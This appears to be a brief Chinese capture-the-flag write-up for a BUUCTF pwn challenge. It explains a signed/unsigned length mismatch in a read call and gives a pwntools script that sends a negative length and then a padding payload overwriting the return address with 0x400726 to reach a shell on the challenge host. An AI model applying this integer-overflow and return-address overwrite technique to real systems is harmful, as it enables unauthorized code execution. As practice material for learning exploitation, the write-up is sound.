首先检查一下
打开ida看一下
(int)nbytes是signed int类型 后面read 的是unsigned int 类型 这里想到整数溢出 可以传输一个负数使其溢出
下面是我的脚本
from pwn import*
from LibcSearcher import*
p=remote('node3.buuoj.cn','26189')
p.sendline('-121311')#此处可以随意写入一个负数
payload='a'*0x18+p64(0x400726)
p.sendline(payload)
p.interactive()
博客内容涉及通过整数溢出漏洞,发送负数值触发溢出,结合ida分析,利用特定payload进行远程代码注入,展示了安全漏洞利用与防护的研究。
321

被折叠的 条评论
为什么被折叠?



